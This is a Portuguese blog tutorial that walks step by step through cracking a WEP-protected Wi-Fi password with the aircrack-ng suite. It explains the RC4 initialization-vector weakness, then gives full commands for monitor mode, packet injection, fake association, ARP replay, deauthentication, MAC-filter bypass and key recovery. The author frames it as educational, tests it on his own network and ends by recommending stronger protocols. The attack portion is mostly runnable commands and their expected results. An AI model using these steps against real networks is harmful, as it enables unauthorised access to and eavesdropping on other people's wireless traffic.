sexta-feira, 6 de julho de 2012

Cracking Wireless - Obtendo a senha de uma rede Wireless(WEP)

Facil obter a senha de uma rede sem-fio que utiliza o protocolo WEP.

**Todos os passos aqui mostrados têm finalidade educativa e informativa, e foram testados em minha própria rede! Não assumo qualquer responsabilidade sobre o uso destas informações.

Este tutorial foi escrito utilizando uma distribuição LINUX, portanto ter uma distro instalada é um pré-requisito!

1. Entendendo a fragilidade do protocolo WEP:

O primeiro protocolo de segurança adotado, que conferia no nível do enlace uma certa segurança para as redes sem fio semelhante à segurança das redes com fio, foi o WEP (Wired Equivalent Privacy).
Este protocolo, muito usado ainda hoje, utiliza o algoritmo RC4 para criptografar os pacotes que serão trocados numa rede sem fios a fim de tentar garantir confidenciabilidade aos dados de cada usuário. Além disso, utiliza-se também a CRC-32 que é uma função detectora de erros que ao fazer a checksum de uma mensagem enviada gera um ICV (Identificador de Circuito Virtual) que deve ser conferido pelo receptor da mensagem, no intuito de verificar se a mensagem recebida foi corrompida e/ou alterada no meio do caminho.
No entanto, após vários estudos e testes realizados com este protocolo, encontraram-se algumas vulnerabilidades e falhas que fizeram com que o WEP perdesse quase toda a sua credibilidade.
Porque RC4 é uma cifra de fluxo, a mesma chave de tráfego nunca deve ser usada duas vezes. O propósito de um VI (vetor de inicialização), que é transmitido em texto puro, é para evitar a repetição, mas um VI de 24 bits não é suficientemente longo para garantir isso em uma rede ocupada. A forma como o VI foi usado também deu brecha para um ataque de chaves-relacionadas ao WEP. Para um VI de 24 bits, há uma probabilidade de 50% de que o mesmo VI irá repetir se após 5000 pacotes. Em agosto de 2001, Scott Fluhrer, Itsik Mantin, e Adi Shamir publicaram uma criptoanálise do WEP que explora a forma como a cifra RC4 e VI são usados no WEP, resultando em um ataque passivo que pode recuperar a chave RC4 após espionagem na rede. Dependendo da quantidade de tráfego de rede, e desse modo o número de pacotes disponíveis para a inspeção, uma recuperação de chave bem-sucedida poderia levar apenas um minuto. Se um número insuficiente de pacotes está sendo enviado, existem maneiras para um atacante enviar pacotes na rede e, assim, estimular o envio de pacotes de resposta que podem então ser inspecionados para encontrar a chave. O ataque foi logo implementado, e ferramentas automatizadas já foram liberados. É possível realizar o ataque com um computador pessoal, off-the-shelf hardware e software disponíveis gratuitamente como Aircrack-ng para quebrar qualquer chave WEP em minutos.

2. Ferramentas/Equipamentos utilizadas:
Para simular um ataque, utilizamos:
  • Roteador D-Link DIR-600
  • Adaptador de rede USB D-Link DWA-110
  • Linux Mint 11 - Baseado no Ubuntu 11.04
  • Suite Aircrack-ng

Configurei uma rede chamada BigRoot, que utiliza a proteção WEP de 128Bits, cuja senha é 1qazxsw23EDCV e nosso objetivo é descobri-la! Veja que não é uma senha simples, pois possui letras maiúsculas e números entre os caracteres!

3. Instalando o Aircrack-ng:

O Aircrack-ng é uma suite composta de vários programas interessantes, porém só iremos utilizar alguns neste tutorial.
Distribuições como o BackTrack já vem com o aircrack instalado.
Para instalar no Ubuntu ou distribuições baseadas no mesmo basta:
$sudo apt-get install aircrack-ng
Dê uma pesquisa se sua distro já não possui o aircrack em seus repositórios, é muito provável que sim.
Mais detalhes: http://www.aircrack-ng.org/install.html

4. Configurando sua placa de rede:
Talvez essa parte seja a mais importante para seu sucesso! Muitas pessoas não conseguem nada pois suas placas não estão devidamente configuradas ou não suportam a injeção de pacotes.

Verifique se sua placa é compativel:
http://www.aircrack-ng.org/doku.php?...bility_drivers

Caso sua placa não esteja na lista, pesquise no fórum do aircrack, lá há muitos tutoriais sobre diversas placas.
Estou utilizando um adaptador USB DWA-110 da D-Link, pois a placa do meu notebook não dá suporte a injeção de pacotes.
Este adaptador possui um chipset Ralink 2573 USB e para configurá-lo corretamente foi necessário instalar um patch:
Citação:
"wget http://wireless.kernel.org/download/...-wireless-2.6/
compat-wireless-2.6.tar.bz2"
tar jxvf compat-wireless-2.6.tar.bz2
cd compat-wireless-<tab>
wget http://patches.aircrack-ng.org/chann...ne-maxim.patch
patch -Np1 -i channel-negative-one-maxim.patch
make
sudo make install
sudo make unload
Nosso objetivo é colocar a placa em modo monitor, assim capturando os pacotes provindos da rede, e gerar trafego na mesma, aumentando assim o número de IVs capturados.

4. Iniciando a placa em modo monitor e verificando as redes disponíveis:
Para iniciar minha placa de rede(wlan2), basta:
Citação:
#airmon-ng start wlan2
Para visualizar sua placa de rede, no terminal basta digitar: #iwconfig
Assim todas suas placas sem fio serão listadas.
Para visualizar o MAC(Endereço físico, cada placa tem um) da sua placa, use: #ifconfig
São os 6 primeiros codigos em hexadecimal.

Com sucesso, obteremos:



Observe que uma nova placa de rede foi criada: mon0
É a partir desta placa que iremos trabalhar
Vamos então verificar as redes disponíveis:
Citação:
#airodump-ng mon0
Onde:
mon0: sua placa de rede em modo monitor



Observe na imagem os seguintes campos importantes para nós:
Citação:
BSSID: MAC do AP;
PWR: Intencidade do sinal (Quanto menor, melhor);
#Data: É oque nos interessa! Quanto mais, mais IVs capturados e maior chance de obtenção da senha;
#/S: Quantidade de pacotes por segundo que estamos capturando;
ENC: Proteção da rede utilizada, no nosso caso, WEP;
ESSID: Nome da rede.
Observe também abaixo os clientes. Observe que um está associado em nosso roteador(AP), onde pode ser visto pelo campo PROBE, que mostra quais redes um determinado cliente conectou, e outro não está associado, no caso, este sou eu!

5. Testando a injeção de pacotes:
Devemos capturar uma grande quantidade de IVs e assim obter sucesso na obtenção da senha. Se houver muita atividade na rede, você obterá grande quantidade de dados, porém se a rede estiver sendo pouco utilizada, obteremos poucos pacotes.
Obtive sucesso com cerca de 50.000 pacotes, assim para chegar a essa quantidade rapidamente, ou melhor, incurtar o tempo necessário, injetaremos pacotes na rede, criando movimentação nesta.

Testando a injeção de pacotes:
Citação:
#aireplay-ng --test -b 00:XX:XX:XX:4f:58 mon0
Onde:
--teste: opção do aireplay para teste de injeção de pacotes;
-b 00:XX:XX:XX:4f:58: MAC do AP;
mon0: sua placa.

Pela imagem, observamos que os pacotes estão sendo injetados com sucesso! Assim, poderemos gerar trafego na rede e obter muitos IVs.
Este teste é muito importante!

6. Criando uma falsa associação com o AP:
Se nosso cliente(Placa de rede) não estiver associada ao roteador, este ignorará todos os pacotes injetados! Assim, nosso ataque não servirá de nada.

Em outro terminal, execute:
Citação:
# aireplay-ng -1 6000 -o 1 -q 10 -a 00:XX:XX:XX:4f:58 -h 00:XX:XX:XX:66:d6 mon0
Onde:
-1 6000: Ataque de associação;
-o 1: Envia apenas 1 pacote por vez;
-q 10: Envia o pacote a cada 10 segundos;
-a 00:XX:XX:XX:4f:58: MAC do AP;
-h 00:XX:XX:XX:66:d6: MAC da sua placa;
mon0: Sua placa de rede;



Veja que obtemos sucesso na associação: Association sucessful :-)

Por vez, o próximo passo é efetuar a injeção de pacotes utilizando um ataque de ARP replay.

7. Iniciando o ataque de requisição de ARP:
A reação do AP a uma requesição ARP é gerar nos IVs, esse é nosso objetivo, gerar muitos IVs em pouco tempo.

Em um novo terminal, execute:
Citação:
# aireplay-ng --arpreplay -b 00:26:XX:XX:XX:58 -e BigRoot -h 00:XX:XX:XX:66:F6 mon0
Onde:
--arpreplay: Ataque de requisição de pacotes ARPs;
-b 00:26:XX:XX:XX:58: MAC do AP;
-e BigRoot: Nome da rede;
-h 00:XX:XX:XX:66:F6: MAC do cliente;
mon0: sua placa.



Observe que na imagem, 0 requisições ARP foram efetuadas. Você deve aguardar até que a primeira requisição seja feita. Isso pode demorar um pouco!
Após o primeiro pacote, nosso ataque finalmente acontece, gerando muitos IVs:



Observe que a quantidade de IVs começa a crescer de forma estraordinária:



Na imagem, temos pouco mais de 495000 pacotes.
Assim que você iniciar o ataque de requisição ARP, você deve abrir o aircrack-ng e já tentar decodificar a senha da rede apartir desses pacotes já capturados.

8. Iniciando finalmente o aircrack:
O airodum-ng e o aireplay-ng gera alguns arquivos que são utilizados pelo aircrack para decodificar a senha:

Assim, em outro terminal, rode o aicrack:
Citação:
# aicrack-ng -b 00:26:XX:XX:XX:f6 dados*.cap
Onde:
-b 00:26:XX:XX:XX:f6: MAC do AP;
dados*.cap: Arquivos gerados pelo airodump.



Observe na imagem que foram capturados pouco mais de 36000 IVs, porém o aircrack não conseguiu decodificar a senha. Observe que a proxima tentativa será com 40000 IVs.
Lembre-se que estamos com 4 terminais abertos!! Todos estão rodando juntos.

Um pouco mais de tempo e coseguimos a tão desejada senha:



Agora basta se conectar a rede:



Você tambêm pode utilizar a senha em hexadecimal, retirando assim os : .

9. Conclusão:
Este simples tutorial mostra como é simples obter a senha de uma rede WEP, sendo assim, recomenda-se utilizar protocolos de segurança mais recentes, como o WAP/WAP2. Mesmo tomando algumas medidas como ocultar a rede, utlizar filtro MAC, podemos burlar tudo facilmente.

10. Alguns problemas enfrentados e suas soluções:
10.1: mon0 is on channel 1, but the AP uses channel 6
Tente primeiramente setar sua placa no mesmo canal do AP utilizando o seguinte comando:
Citação:
#iwconfig mon0 channel 6
Onde:
mon0: sua placa de rede;
channel 6: canal do AP
Apenas isso para minha placa não foi suficiente, assim tive que instalar o patch do passo 4.

10.2: O nome da rede não aparece: <length: 0>
Isso mostra que a rede está oculta. Geralmente basta esperar alguns segundos e o airodump consegue resolver o nome da mesma.
Se não der certo, utilize o ataque Deauthentication:
Citação:
aireplay-ng -0 1 -a 00:xx:xx:xx:40:80 -c 00:xx:xx:xx:30:30 mon0
10.3: A injeção de pacotes não funciona
Primeiramente deve se certificar que sua placa é compatível. Após isso, o AP pode estar com o filtro de MAC ativado, ou seja, ignora todos clientes que não estão com acesso permitido.
Para solucionar isso, você deve espiar a rede até que um cliente autorizado se conecte e utilizar esse MAC para injeção de pacotes.
← Postagem mais recente Postagem mais antiga → Página inicial

0 comentários:

Postar um comentário

Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86